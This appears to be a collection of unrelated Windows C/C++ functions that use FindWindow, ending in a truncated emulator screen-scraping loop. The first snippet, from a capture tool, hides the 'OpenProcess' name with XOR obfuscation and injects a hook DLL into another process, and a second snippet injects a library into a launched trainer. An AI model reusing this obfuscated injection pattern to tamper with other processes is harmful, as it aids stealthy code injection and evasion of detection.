void GraphicsCaptureSource::AttemptCapture() { //Log(TEXT("attempting to capture..")); if (!bUseHotkey) hwndTarget = FindWindow(strWindowClass, NULL); else { hwndTarget = hwndNextTarget; hwndNextTarget = NULL; } if (hwndTarget) { GetWindowThreadProcessId(hwndTarget, &targetProcessID); if(!targetProcessID) { AppWarning(TEXT("GraphicsCaptureSource::BeginScene: GetWindowThreadProcessId failed, GetLastError = %u"), GetLastError()); bErrorAcquiring = true; return; } } else { if (!bUseHotkey && !warningID) warningID = API->AddStreamInfo(Str("Sources.SoftwareCaptureSource.WindowNotFound"), StreamInfoPriority_High); bCapturing = false; return; } if(warningID) { API->RemoveStreamInfo(warningID); warningID = 0; } //------------------------------------------- // see if we already hooked the process. if not, inject DLL char pOPStr[12]; mcpy(pOPStr, "NpflUvhel{x", 12); //OpenProcess obfuscated for (int i=0; i<11; i++) pOPStr[i] ^= i^1; OPPROC pOpenProcess = (OPPROC)GetProcAddress(GetModuleHandle(TEXT("KERNEL32")), pOPStr); HANDLE hProcess = (*pOpenProcess)(PROCESS_ALL_ACCESS, FALSE, targetProcessID); if(hProcess) { //------------------------------------------- // load keepalive event hOBSIsAlive = CreateEvent(NULL, FALSE, FALSE, String() << OBS_KEEPALIVE_EVENT << UINT(targetProcessID)); //------------------------------------------- hwndCapture = hwndTarget; hSignalRestart = OpenEvent(EVENT_ALL_ACCESS, FALSE, String() << RESTART_CAPTURE_EVENT << UINT(targetProcessID)); if(hSignalRestart) { SetEvent(hSignalRestart); bCapturing = true; captureWaitCount = 0; } else { BOOL bSameBit = TRUE; if(Is64BitWindows()) { BOOL bCurrentProcessWow64, bTargetProcessWow64; IsWow64Process(GetCurrentProcess(), &bCurrentProcessWow64); IsWow64Process(hProcess, &bTargetProcessWow64); bSameBit = (bCurrentProcessWow64 == bTargetProcessWow64); } if(bSameBit) { String strDLL; DWORD dwDirSize = GetCurrentDirectory(0, NULL); strDLL.SetLength(dwDirSize); GetCurrentDirectory(dwDirSize, strDLL); strDLL << TEXT("\\plugins\\GraphicsCapture\\GraphicsCaptureHook"); BOOL b32bit = TRUE; if(Is64BitWindows()) IsWow64Process(hProcess, &b32bit); if(!b32bit) strDLL << TEXT("64"); strDLL << TEXT(".dll"); if(InjectLibrary(hProcess, strDLL)) { captureWaitCount = 0; bCapturing = true; } else { AppWarning(TEXT("GraphicsCaptureSource::BeginScene: Failed to inject library, GetLastError = %u"), GetLastError()); CloseHandle(hProcess); hProcess = NULL; bErrorAcquiring = true; } } else { String strDLLPath; DWORD dwDirSize = GetCurrentDirectory(0, NULL); strDLLPath.SetLength(dwDirSize); GetCurrentDirectory(dwDirSize, strDLLPath); strDLLPath << TEXT("\\plugins\\GraphicsCapture"); BOOL b32bit = TRUE; if(Is64BitWindows()) IsWow64Process(hProcess, &b32bit); String strHelper = strDLLPath; strHelper << ((b32bit) ? TEXT("\\injectHelper.exe") : TEXT("\\injectHelper64.exe")); String strCommandLine; strCommandLine << TEXT("\"") << strHelper << TEXT("\" ") << UIntString(targetProcessID); //--------------------------------------- PROCESS_INFORMATION pi; STARTUPINFO si; zero(&pi, sizeof(pi)); zero(&si, sizeof(si)); si.cb = sizeof(si); if(CreateProcess(strHelper, strCommandLine, NULL, NULL, FALSE, 0, NULL, strDLLPath, &si, &pi)) { int exitCode = 0; WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, (DWORD*)&exitCode); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); if(exitCode == 0) { captureWaitCount = 0; bCapturing = true; } else { AppWarning(TEXT("GraphicsCaptureSource::BeginScene: Failed to inject library, error code = %d"), exitCode); bErrorAcquiring = true; } } else { AppWarning(TEXT("GraphicsCaptureSource::BeginScene: Could not create inject helper, GetLastError = %u"), GetLastError()); bErrorAcquiring = true; } } } CloseHandle(hProcess); hProcess = NULL; if (!bCapturing) { CloseHandle(hOBSIsAlive); hOBSIsAlive = NULL; } } else { AppWarning(TEXT("GraphicsCaptureSource::BeginScene: OpenProcess failed, GetLastError = %u"), GetLastError()); bErrorAcquiring = true; } }
bool GNSx30Proxy::open(int gnsType) { bool res = true; if(stateInitialized != m_state) { res = false; return res; } HKEY hKey; DWORD dwDisposition; //Default frquencies m_comActive = 134100; m_comStandby = 130825; m_navActive = 108700; m_navStandby = 111450; m_pvData->gnsType = gnsType; m_pvData->garminTrainerPort = TRAINER_PORT; m_pvData->proxyPort = PROXY_PORT; //Start the serverThread m_pServerSocketThread = new UdpSocketThread(m_pvData->proxyPort); m_pServerSocketThread->create(); m_pServerSocketThread->setCallback(UdpDataCallback, this); m_pServerSocketThread->resume(); m_pClientSocket = new UdpSocket(); m_pClientSocket->openForSending("127.0.0.1", m_pvData->garminTrainerPort); if (ERROR_SUCCESS!= RegCreateKeyEx(HKEY_CURRENT_USER, GARMIN_INTERNATIONAL_SETTINGS, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey,&dwDisposition) ) { logMessageEx("??? GNSx30Proxy::open Error creating key " GARMIN_INTERNATIONAL_SETTINGS); res = false; return res; } if(TYPE_GNS430 == gnsType) { //Create the trainer settings values if (ERROR_SUCCESS != RegSetValueEx(hKey, "CDUType", 0, REG_SZ, (LPBYTE)GNS_430AWT, strlen(GNS_430AWT) + 1)) { logMessageEx("??? GNSx30Proxy::open Error writing key CDUType"); res = false; return res; } }else if(TYPE_GNS530 == gnsType) { //Create the trainer settings values if (ERROR_SUCCESS != RegSetValueEx(hKey, "CDUType", 0, REG_SZ, (LPBYTE)GNS_530AWT, strlen(GNS_530AWT) + 1)) { logMessageEx("??? GNSx30Proxy::open Error writing key CDUType"); res = false; return res; } } RegFlushKey(hKey); RegCloseKey(hKey); memset(m_pvData->LCD_data,0x00, OFFSCREEN_BUFFER_WIDTH*OFFSCREEN_BUFFER_HEIGHT*4); startAndInject(m_trainter_exe, m_trainter_path, m_interface_lib, m_hideGUI); int count = 0; bool procesStarted = false; while(count < 20) // 10 sec { m_win = FindWindow("AfxFrameOrView42", "GARMIN 400W/500W Trainer"); if(NULL != m_win) { procesStarted = true; break; } Sleep(500); count++; } if(!procesStarted) { logMessageEx("??? GNSx30Proxy::Open Error starting process %s", m_trainter_exe); res = false; return res; } m_state = stateOpened; return res; }
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) { HWND hprevwnd = FindWindow(szWindowClass,NULL); if ( hprevwnd != NULL){ MessageBox(NULL,"「かぜそみそ」はすでに起動しています","(・◇・)",MB_OK); return 0; } // GDI+が使えるかチェック HMODULE hmd = LoadLibrary("gdiplus.dll"); if(hmd != NULL){ gdiplus_useable = TRUE; FreeLibrary(hmd); // 遅延ロードで勝手にロードしてくれるはずなのでFreeする }else{ gdiplus_useable = FALSE; } ULONG_PTR gdiplusToken = NULL; if(gdiplus_useable){ Gdiplus::GdiplusStartupInput gdiplusStartupInput; Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL); } srand(GetTickCount()); SetCurrentDirectoryToExePath(); if(!LoadTorifuda()){ return 0; } if(!LoadYomiFuda()){ return 0; } std::string s1,s2; std::vector<int> notnigate; currentdesign.tori = & currenttori; currentdesign.yomi = & currentyomi; tori_or_yomi = TORI; LoadFromIniFile(0,currentdesign,¬nigate); tori_or_yomi = YOMI; LoadFromIniFile(0,currentdesign,NULL); tori_or_yomi = TORI; currentdesign.UpdateSize(); std::vector<int>::iterator it; for(it = notnigate.begin(); it != notnigate.end(); it++){ torifuda[*it].nigatefuda = FALSE; } firstfuda.simonoku = firstfudalist[myrandint(sizeof(firstfudalist) / sizeof(*firstfudalist))]; firstfuda.kimariji = std::string("きまりじ"); currentfuda = &firstfuda; currentdesign.kimariji = currentfuda->kimariji; currentdesign.simonoku = currentfuda->simonoku; currentdesign.waka = std::string("難波津(なにはづ)に\n咲(さ)くやこの花(はな)\n冬(ふゆ)ごもり\n今(いま)を春(はる)べと\n咲(さ)くやこの花(はな)"); MSG msg; MyRegisterClass(hInstance); if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } HACCEL hAccelTable; hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_KAZESOMISO); BeginPrinter(); while (GetMessage(&msg, NULL, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { if(hDlgWnd == NULL || !IsDialogMessage(hDlgWnd,&msg)){ TranslateMessage(&msg); DispatchMessage(&msg); } } } EndPrinter(); if(gdiplusToken != NULL){ Gdiplus::GdiplusShutdown(gdiplusToken); } return (int) msg.wParam; }
bool ecAdminDialog::PopulatePackageTree (const wxString& packageDatabase) { wxTreeCtrl* treeCtrl = (wxTreeCtrl*) FindWindow( ecID_ADMIN_DIALOG_TREE) ; // delete any existing CDL database if (m_CdlPkgData) { delete m_CdlPkgData; m_CdlPkgData = NULL; } // load the package database try { // Cdl asserts unless the handlers are present. m_CdlPkgData = CdlPackagesDatabaseBody::make (ecUtils::UnicodeToStdStr (packageDatabase), &CdlErrorHandler, &CdlWarningHandler); } catch (CdlStringException exception) { wxString strMessage; strMessage.Printf (_("Error loading database:\n\n%s"), (const wxChar*) wxString (exception.get_message ().c_str ())); wxMessageBox(strMessage, wxGetApp().GetSettings().GetAppName(), wxICON_EXCLAMATION|wxOK); return FALSE; } catch (...) { wxMessageBox(_("Error loading database"), (const wxChar*) wxGetApp().GetSettings().GetAppName(), wxICON_EXCLAMATION|wxOK); return FALSE; } // clear the old package tree ClearPackageTree (); // Add a root item wxTreeItemId rootId = m_treeCtrl->AddRoot(_("Packages"), 0, -1); // populate the new package tree const std::vector<std::string>& packages = m_CdlPkgData->get_packages (); for (std::vector<std::string>::const_iterator package = packages.begin (); package != packages.end (); package++) { // add a package node wxTreeItemId hPackage = treeCtrl->AppendItem (treeCtrl->GetRootItem(), wxString (m_CdlPkgData->get_package_aliases (*package) [0].c_str ())); treeCtrl->SetItemData (hPackage, new ecAdminItemData(wxString (package->c_str ()))); treeCtrl->SetItemImage (hPackage, 0, wxTreeItemIcon_Normal); treeCtrl->SetItemImage (hPackage, 0, wxTreeItemIcon_Selected); treeCtrl->SetItemImage (hPackage, 0, wxTreeItemIcon_Expanded); treeCtrl->SetItemImage (hPackage, 0, wxTreeItemIcon_SelectedExpanded); const std::vector<std::string>& versions = m_CdlPkgData->get_package_versions (* package); for (std::vector<std::string>::const_iterator version = versions.begin (); version != versions.end (); version++) { // add a version node const wxTreeItemId hVersion = treeCtrl->AppendItem ( hPackage, wxString (version->c_str ())); treeCtrl->SetItemImage (hVersion, 1, wxTreeItemIcon_Normal); treeCtrl->SetItemImage (hVersion, 1, wxTreeItemIcon_Selected); treeCtrl->SetItemImage (hVersion, 1, wxTreeItemIcon_Expanded); treeCtrl->SetItemImage (hVersion, 1, wxTreeItemIcon_SelectedExpanded); } treeCtrl->SortChildren (hPackage); // sort the version nodes } treeCtrl->SortChildren (treeCtrl->GetRootItem()); // sort the package nodes treeCtrl->Expand(treeCtrl->GetRootItem()); return TRUE; }
pj_status_t gui_init(gui_menu *menu) { WNDCLASS wc; HWND hWnd = NULL; RECT r; DWORD dwStyle; pj_status_t status = PJ_SUCCESS; /* Check if app is running. If it's running then focus on the window */ hWnd = FindWindow(MAINWINDOWCLASS, MAINWINDOWTITLE); if (NULL != hWnd) { SetForegroundWindow(hWnd); return status; } g_menu = menu; wc.style = CS_HREDRAW | CS_VREDRAW; wc.lpfnWndProc = (WNDPROC)DialogProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = g_hInst; wc.hIcon = 0; wc.hCursor = 0; wc.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH); wc.lpszMenuName = 0; wc.lpszClassName = MAINWINDOWCLASS; if (!RegisterClass(&wc) != 0) { DWORD err = GetLastError(); return PJ_RETURN_OS_ERROR(err); } /* Create the app. window */ g_hWndMain = CreateWindow(MAINWINDOWCLASS, MAINWINDOWTITLE, WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, (HWND)NULL, NULL, g_hInst, (LPSTR)NULL); /* Create edit control to print log */ GetClientRect(g_hWndMain, &r); dwStyle = WS_CHILD | WS_VISIBLE | WS_VSCROLL | ES_MULTILINE | ES_READONLY | ES_AUTOVSCROLL | ES_LEFT; g_hWndLog = CreateWindow( TEXT("EDIT"), // Class name NULL, // Window text dwStyle, // Window style 0, // x-coordinate of the upper-left corner 0, // y-coordinate of the upper-left corner r.right-r.left, // Width of the window for the edit // control r.bottom-r.top, // Height of the window for the edit // control g_hWndMain, // Window handle to the parent window (HMENU) 0, // Control identifier g_hInst, // Instance handle NULL); // Specify NULL for this parameter when // you create a control /* Resize the log */ if (g_hWndMenuBar) { RECT r_menu = {0}; GetWindowRect(g_hWndLog, &r); GetWindowRect(g_hWndMenuBar, &r_menu); if (r.bottom > r_menu.top) { MoveWindow(g_hWndLog, 0, 0, r.right-r.left, (r.bottom-r.top)-(r_menu.bottom-r_menu.top), TRUE); } } /* Focus it, so SP user can scroll the log */ SetFocus(g_hWndLog); /* Get the log thread */ g_log_thread = pj_thread_this(); /* Redirect log & update log decor setting */ /* log_decor = pj_log_get_decor(); log_decor = PJ_LOG_HAS_NEWLINE | PJ_LOG_HAS_CR; pj_log_set_decor(log_decor); */ g_log_writer_orig = pj_log_get_log_func(); pj_log_set_log_func(&log_writer); return status; }
// Windows メイン int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { #ifdef _DEBUG int newFlag = _CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) ; newFlag |= _CRTDBG_LEAK_CHECK_DF | _CRTDBG_CHECK_ALWAYS_DF ; // | _CRTDBG_DELAY_FREE_MEM_DF ; _CrtSetDbgFlag(newFlag) ; _ASSERTE(_CrtCheckMemory()) ; #endif // スクリーンセーバモードで起動中のものがあれば // その場で終了 HWND win ; win = FindWindow("GLUT", "glclock screen saver") ; if (win) return EXIT_FAILURE ; hInstanceGlClock = hInstance ; // 実行ファイルパスを \Windows\System\glclock.ini ファイルに保存 String glclockExePath, glclockIniPath ; glclockExePath = String(__argv[0]) ; char buf[MAX_PATH + 1] ; int len ; len = GetSystemDirectory(buf, MAX_PATH) ; if (len) glclockIniPath = String(buf) + '\\' + GLCLOCK_INI ; FILE *fpGlClockIni = fopen(glclockIniPath, "w") ; if (fpGlClockIni) { // fprintf(fpGlClockIni, "%s\n", (char *)glclockExePath) ; fprintf(fpGlClockIni, glclockExePath) ; fclose(fpGlClockIni) ; } int ret ; #ifndef GLCLOCK_DLL_EXPORT // dll を使わない場合 ret = glclock(__argc, __argv) ; if (ret) ret = FALSE ; else ret = TRUE ; #else // glclock.dll に明示的にリンクする使用する場合 // glclock.dll から glclock() をリンク // 関数アドレスをゲットできた場合 glclock コール HINSTANCE hLib_glclock = NULL ; hLib_glclock = LoadLibrary(_T(GLCLOCK_DLL)) ; if (hLib_glclock) { // DLL ロードに成功したら // glclock() の エントリポイントを取得 PFNGLCLOCKARGPROC pglclock_arg ; pglclock_arg = (PFNGLCLOCKARGPROC)GetProcAddress(hLib_glclock, _T("_glclock_arg@8")) ; if (!pglclock_arg) { MessageBox(NULL, _T("Failed to get glclock_arg entry point"), _T("GetProcAddress Error"), MB_OK | MB_ICONSTOP) ; ret = EXIT_FAILURE ; } else { #define glclock_arg (*pglclock_arg) ret = glclock_arg(__argc, __argv) ; #undef glclock_arg } // DLL を開放 if (hLib_glclock) FreeLibrary(hLib_glclock) ; if (ret) ret = FALSE ; else ret = TRUE ; } else { // DLL のロードに失敗 MessageBox(NULL, _T("Failed to load glclock.dll"), _T("LoadLibrary Error"), MB_OK | MB_ICONSTOP) ; ret = FALSE ; } #endif // #ifndef GLCLOCK_DLL_EXPORT ... #else return ret ; }
void EditPathDlg::OnUpdateUI(wxUpdateUIEvent& /*event*/) { wxButton* btn = (wxButton*)FindWindow(wxID_OK); if (btn) btn->Enable(!XRCCTRL(*this, "txtPath", wxTextCtrl)->GetValue().IsEmpty()); }
int main(int argc, char **argv) { HWND navitWindow; COPYDATASTRUCT cd; char opt; TCHAR *g_szClassName = TEXT("TellNavitWND"); WNDCLASS wc; HWND hwnd; HWND hWndParent=NULL; if(argc>0) { while((opt = getopt(argc, argv, ":hvc:d:e:s:")) != -1) { switch(opt){ case 'h': print_usage(); exit(0); break; case 'e': errormode=atoi(optarg); break; default: err("Unknown option %c\n", opt); exit(1); break; } } } else { print_usage(); exit(1); } if(optind==argc) { err("Navit command to execute is needed."); exit(1); } memset(&wc, 0 , sizeof(WNDCLASS)); wc.lpfnWndProc = message_handler; wc.hInstance = GetModuleHandle(NULL); wc.lpszClassName = g_szClassName; if (!RegisterClass(&wc)) { err(TEXT("Window class registration failed\n")); return 1; } else { hwnd = CreateWindow( g_szClassName, TEXT("Tell Navit"), 0, 0, 0, 0, 0, hWndParent, NULL, GetModuleHandle(NULL), NULL); if(!hwnd) { err(TEXT("Can't create hidden window\n")); UnregisterClass(g_szClassName,NULL); return 1; } } navitWindow=FindWindow( TEXT("NAVGRA"), NULL ); if(!navitWindow) { err(TEXT("Navit window not found\n")); DestroyWindow(hwnd); UnregisterClass(g_szClassName,NULL); return 1; } else { int rv; char *command=g_strjoinv(" ",argv+optind); struct navit_binding_w32_msg *msg; int sz=sizeof(*msg)+strlen(command); cd.dwData=NAVIT_BINDING_W32_DWDATA; msg=g_malloc0(sz); msg->version=NAVIT_BINDING_W32_VERSION; g_strlcpy(msg->magic,NAVIT_BINDING_W32_MAGIC,sizeof(msg->magic)); g_strlcpy(msg->text,command,sz-sizeof(*msg)+1); cd.cbData=sz; cd.lpData=msg; rv=SendMessage( navitWindow, WM_COPYDATA, (WPARAM)hwnd, (LPARAM) (LPVOID) &cd ); g_free(command); g_free(msg); if(rv!=0) { err(TEXT("Error %d sending message, SendMessage return value is %d\n"), GetLastError(), rv); DestroyWindow(hwnd); UnregisterClass(g_szClassName,NULL); return 1; } } DestroyWindow(hwnd); UnregisterClass(g_szClassName,NULL); return 0; }
//----------------------------------------------------------------------------- // DumpPresenter //----------------------------------------------------------------------------- DumpPresenter::DumpPresenter(wxWindow *pParent, const wxPoint &pos, const wxSize &size, const VirtualMachine &vm) : wxDialog(pParent, wxID_ANY, wxT("GMC-4 Dump"), pos, size, wxDEFAULT_DIALOG_STYLE | wxRESIZE_BORDER), _vm(vm) { wxWindow *pWindowFirst = NULL; SetIcon(wxICON(MainIcon)); wxSizer *pOuterBox = new wxBoxSizer(wxVERTICAL); SetSizer(pOuterBox); wxSizer *pVBox = new wxBoxSizer(wxVERTICAL); pOuterBox->Add(pVBox, wxSizerFlags(1).Expand()); do { wxSizer *pHBox = new wxBoxSizer(wxHORIZONTAL); pVBox->Add(pHBox, wxSizerFlags(0).Expand().Border(wxALL, 4)); do { wxCheckBox *pCtrl = new wxCheckBox(this, ID_CHK_AddrBin, wxT("&Binary Address")); pHBox->Add(pCtrl, wxSizerFlags(0).Expand()); pCtrl->SetValue(Config::Get()->dumpPresenterAddrBin); pWindowFirst = pCtrl; } while (0); do { wxStaticText *pCtrl = new wxStaticText(this, wxID_ANY, wxT("Columns")); pHBox->Add(pCtrl, wxSizerFlags(0).Expand().Border(wxLEFT, 12)); } while (0); do { wxRadioButton *pCtrl = new wxRadioButton(this, ID_RB_COL4, wxT("&4"), wxDefaultPosition, wxDefaultSize, wxRB_GROUP); pHBox->Add(pCtrl, wxSizerFlags(0).Expand().Border(wxLEFT, 8)); } while (0); do { wxRadioButton *pCtrl = new wxRadioButton(this, ID_RB_COL8, wxT("&8")); pHBox->Add(pCtrl, wxSizerFlags(0).Expand().Border(wxLEFT, 8)); } while (0); do { wxRadioButton *pCtrl = new wxRadioButton(this, ID_RB_COL16, wxT("1&6")); pHBox->Add(pCtrl, wxSizerFlags(0).Expand().Border(wxLEFT, 8)); } while (0); } while (0); do { wxNotebook *pNotebook = new wxNotebook(this, ID_Notebook); pVBox->Add(pNotebook, wxSizerFlags(1).Expand()); pNotebook->SetPadding(wxSize(16, 4)); do { wxHtmlWindow *pCtrl = new wxHtmlWindow(pNotebook, wxID_ANY, wxDefaultPosition, wxDefaultSize, wxSUNKEN_BORDER); _pHtmlWindow = pCtrl; pNotebook->AddPage(pCtrl, wxT("View")); pCtrl->SetBorders(2); } while (0); do { wxTextCtrl *pCtrl = new wxTextCtrl(pNotebook, wxID_ANY, wxT(""), wxDefaultPosition, wxDefaultSize, wxSUNKEN_BORDER | wxTE_MULTILINE | wxTE_READONLY); _pTextHtml = pCtrl; pNotebook->AddPage(pCtrl, wxT("HTML")); } while (0); do { wxTextCtrl *pCtrl = new wxTextCtrl(pNotebook, wxID_ANY, wxT(""), wxDefaultPosition, wxDefaultSize, wxSUNKEN_BORDER | wxTE_MULTILINE | wxTE_READONLY); _pTextDmp = pCtrl; pNotebook->AddPage(pCtrl, wxT("DMP Format")); pCtrl->SetFont(wxFont(10, wxFONTFAMILY_TELETYPE, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL)); } while (0); } while (0); do { wxSizer *pHBox = new wxBoxSizer(wxHORIZONTAL); pVBox->Add(pHBox, wxSizerFlags(0).Expand().Border(wxTOP, 2)); pHBox->AddStretchSpacer(1); do { wxButton *pCtrl = new wxButton(this, wxID_CANCEL, wxT("&Close")); pHBox->Add(pCtrl, wxSizerFlags(0).Expand().Border(wxLEFT, 16)); pCtrl->MoveBeforeInTabOrder(pWindowFirst); } while (0); pHBox->AddSpacer(8); } while (0); if (Config::Get()->dumpPresenterColumns == 4) { wxDynamicCast(FindWindow(ID_RB_COL4), wxRadioButton)->SetValue(true); } else if (Config::Get()->dumpPresenterColumns == 8) { wxDynamicCast(FindWindow(ID_RB_COL8), wxRadioButton)->SetValue(true); } else if (Config::Get()->dumpPresenterColumns == 16) { wxDynamicCast(FindWindow(ID_RB_COL16), wxRadioButton)->SetValue(true); } else { // nothing to do } }
*/ DEVICE_CMD Open_IO(REBREQ *req) /* ***********************************************************************/ { REBDEV *dev; REBCHR *title = TEXT("REBOL 3 Alpha"); HANDLE win; dev = Devices[req->device]; // Avoid opening the console twice (compare dev and req flags): if (GET_FLAG(dev->flags, RDF_OPEN)) { // Device was opened earlier as null, so req must have that flag: if (GET_FLAG(dev->flags, SF_DEV_NULL)) SET_FLAG(req->modes, RDM_NULL); SET_FLAG(req->flags, RRF_OPEN); return DR_DONE; // Do not do it again } if (!GET_FLAG(req->modes, RDM_NULL)) { // Get the raw stdio handles: Std_Out = GetStdHandle(STD_OUTPUT_HANDLE); Std_Inp = GetStdHandle(STD_INPUT_HANDLE); //Std_Err = GetStdHandle(STD_ERROR_HANDLE); Std_Echo = 0; Redir_Out = (GetFileType(Std_Out) != 0); Redir_Inp = (GetFileType(Std_Inp) != 0); // attach_console(); // merges streams, not good // If output not redirected, open a console: if (!Redir_Out) { if (!AllocConsole()) { req->error = GetLastError(); return DR_ERROR; } SetConsoleTitle(title); // The goof-balls at MS seem to require this: // See: http://support.microsoft.com/kb/124103 Sleep(40); win = FindWindow(NULL, title); // What if more than one open ?! if (win) { SetForegroundWindow(win); BringWindowToTop(win); } // Get the new stdio handles: Std_Out = GetStdHandle(STD_OUTPUT_HANDLE); if (!Redir_Inp) { Std_Inp = GetStdHandle(STD_INPUT_HANDLE); // Make the Win32 console a bit smarter by default: SetConsoleMode(Std_Inp, CONSOLE_MODES); } } Std_Buf = OS_Make(BUF_SIZE * sizeof(REBCHR)); // Handle stdio CTRL-C interrupt: SetConsoleCtrlHandler(Handle_Break, TRUE); } else SET_FLAG(dev->flags, SF_DEV_NULL); SET_FLAG(req->flags, RRF_OPEN); SET_FLAG(dev->flags, RDF_OPEN); return DR_DONE; }
HWND GetConsoleWindow() { // try to find our console window and return its HWND return FindWindow(_T("ConsoleWindowClass"), GetTitle()); }
void CManagePasswordPolicies::UpdatePolicy(const wxString &polname, const PWPolicy &pol, CPP_FLAGS mode) { if (polname == _("Default Policy")) m_st_default_pp = pol; else m_MapPSWDPLC[tostringx(polname)] = pol; #ifdef NOTYET // Save changes for Undo/Redo PWPolicyChange st_change; st_change.flags = mode; st_change.name = policyname; st_change.st_pp_save = m_iSelectedItem != 0 ? m_mapIter->second : m_st_default_pp; switch (mode) { case CPP_ADD: break; case CPP_MODIFIED: break; case CPP_DELETE: break; default: ASSERT(0); } if (m_iSelectedItem != 0) { // Changed a named password policy PSWDPolicyMapIter iter_new = m_MapPSWDPLC.find(StringX(policyname.c_str())); if (iter_new == m_MapPSWDPLC.end()) ASSERT(0); st_change.st_pp_new = iter_new->second; } else { // Changed the database default policy st_change.st_pp_new = m_st_default_pp; } if (m_iundo_pos != (int)m_vchanges.size() - 1) { // We did have changes that could have been redone // But not anymore - delete all these to add new change on the end m_vchanges.resize(m_iundo_pos + 1); } // Add new change m_vchanges.push_back(st_change); // Update pointer to the one that is next to be undone m_iundo_pos++; // Update buttons appropriately FindWindow(wxID_UNDO)->Enable(true); FindWindow(wxID_REDO)->Enable(false); #else UNREFERENCED_PARAMETER(mode); #endif // Update lists UpdateNames(); int N = m_PolicyNames->GetNumberRows(); for (int row = 0; row < N; row++) if (m_PolicyNames->GetCellValue(row, 0) == polname) { m_PolicyNames->SelectRow(row); break; } UpdateDetails(); }
void TBInit(){ hTaskBar = FindWindow( "Shell_TrayWnd" , NULL ); hStartBn = FindWindowEx( hTaskBar , 0 , "Button" , NULL ); bTBInited = true; }
extern "C" BOOL WINAPI DllMain(HINSTANCE hi, DWORD reason, LPVOID reserved) { if (reason==DLL_PROCESS_ATTACH) { hInstance = hi; WNDCLASS wc; RECT dt; if (BBhwnd) { MessageBox(BBhwnd, "Dont load me twice!", szAppName, MB_OK|MB_SETFOREGROUND); return FALSE; } const char *bbv = GetBBVersion(); if (0 == memicmp(bbv, "bblean", 6)) BBVersion = 2; else if (0 == memicmp(bbv, "bb", 2)) BBVersion = 1; else BBVersion = 0; BBhwnd = GetBBWnd(); set_my_path(rcpath, "bbLeanSkin.rc"); ZeroMemory(&wc, sizeof(wc)); wc.lpszClassName = szAppName; wc.hInstance = hInstance; wc.lpfnWndProc = WndProc; // ##### COMMENTED OUT DUE TO COMPATIBILITY REASONS ##### // ###### -> WAS THIS CHECK USED TO DETECT BBLEAN? ###### // if (NULL == GetSettingPtr(SN_WINUNFOCUS_TITLE)) // return FALSE; // ###################################################### if (FindWindow(wc.lpszClassName, NULL) || FALSE == RegisterClass(&wc)) return FALSE; // center the window SystemParametersInfo(SPI_GETWORKAREA, 0, &dt, 0); int width = 480; int height = 300; int xleft = (dt.left+dt.right-width)/2; int ytop = (dt.top+dt.bottom-height)/2; CreateWindow( wc.lpszClassName, "bbLeanSkin Log", //WS_OVERLAPPEDWINDOW, WS_POPUP|WS_CAPTION|WS_SIZEBOX|WS_SYSMENU|WS_MAXIMIZEBOX|WS_MINIMIZEBOX, xleft, ytop, width, height, NULL, NULL, wc.hInstance, NULL ); } else if (reason==DLL_PROCESS_DETACH) { stopEngine(); DestroyWindow(m_hwnd); UnregisterClass(szAppName, hInstance); } return TRUE; }
HRESULT ActivatePreviousInstance( const TCHAR* lptszClass, const TCHAR* lptszTitle, BOOL* pfActivated) { HRESULT hr = S_OK; int cTries; HANDLE hMutex = NULL; *pfActivated = FALSE; cTries = 5; while (cTries > 0) { // NOTE: We don't want to own the object. hMutex = CreateMutex(NULL, FALSE, lptszClass); if (NULL == hMutex) { // Something bad happened, fail. hr = E_FAIL; goto Exit; } if (GetLastError() == ERROR_ALREADY_EXISTS) { HWND hwnd; CloseHandle(hMutex); hMutex = NULL; // There is already an instance of this app // running. Try to bring it to the foreground. hwnd = FindWindow(lptszClass, lptszTitle); if (NULL == hwnd) { // It's possible that the other window is in the process of // being created... Sleep(500); hwnd = FindWindow(lptszClass, lptszTitle); } if (NULL != hwnd) { // Set the previous instance as the foreground window // The "| 0x01" in the code below activates // the correct owned window of the // previous instance's main window. SetForegroundWindow((HWND) (((ULONG) hwnd) | 0x01)); // We are done. *pfActivated = TRUE; break; } // It's possible that the instance we found isn't coming up, // but rather is going down. Try again. cTries--; } else { // We were the first one to create the mutex // so that makes us the main instance. 'leak' // the mutex in this function so it gets cleaned // up by the OS when this instance exits. break; } } if (cTries <= 0) { // Someone else owns the mutex but we cannot find // their main window to activate. hr = E_FAIL; goto Exit; } Exit: return(hr); }
DWORD WINAPI WorkThread(PVOID pParam) { HWND hTopWnd = FindWindow(L"Qt5QWindowIcon",L"夜神安卓模拟器"); if ( NULL == hTopWnd ) { hTopWnd = FindWindow(L"Qt5QWindowIcon",L"夜神模拟器"); } HWND hWndWork = NULL; HWND hSubWin = NULL; EnumChildWindows(hTopWnd,MY_WNDENUMPROC,(LPARAM)&hSubWin); hWndWork = GetParent(hSubWin); int nScanR = 150; int nScanSpace = 5; int nCurAngle = 0; int nStartOffset = 10; int nPrintWidth = nScanR*2+10; HDC hScreenDc = GetDC(NULL); HDC hMemDC = CreateCompatibleDC(hScreenDc); HBITMAP hMemBmp = CreateCompatibleBitmap(hScreenDc,nPrintWidth,nPrintWidth); SelectObject(hMemDC,hMemBmp); ReleaseDC(NULL,hScreenDc); while (IsWindow(hWndWork)) { CRect rcClient; GetClientRect(hWndWork,&rcClient); CRect rcWin; GetWindowRect(hWndWork,&rcWin); CPoint ptCenter; ptCenter = rcClient.CenterPoint(); hScreenDc = GetDC(NULL); BitBlt(hMemDC,0,0,nPrintWidth,nPrintWidth,hScreenDc,rcWin.left + ptCenter.x - nPrintWidth/2,rcWin.top + ptCenter.y -nPrintWidth/2,SRCCOPY); ReleaseDC(NULL,hScreenDc); int nX = 0; int nY = 0; BOOL 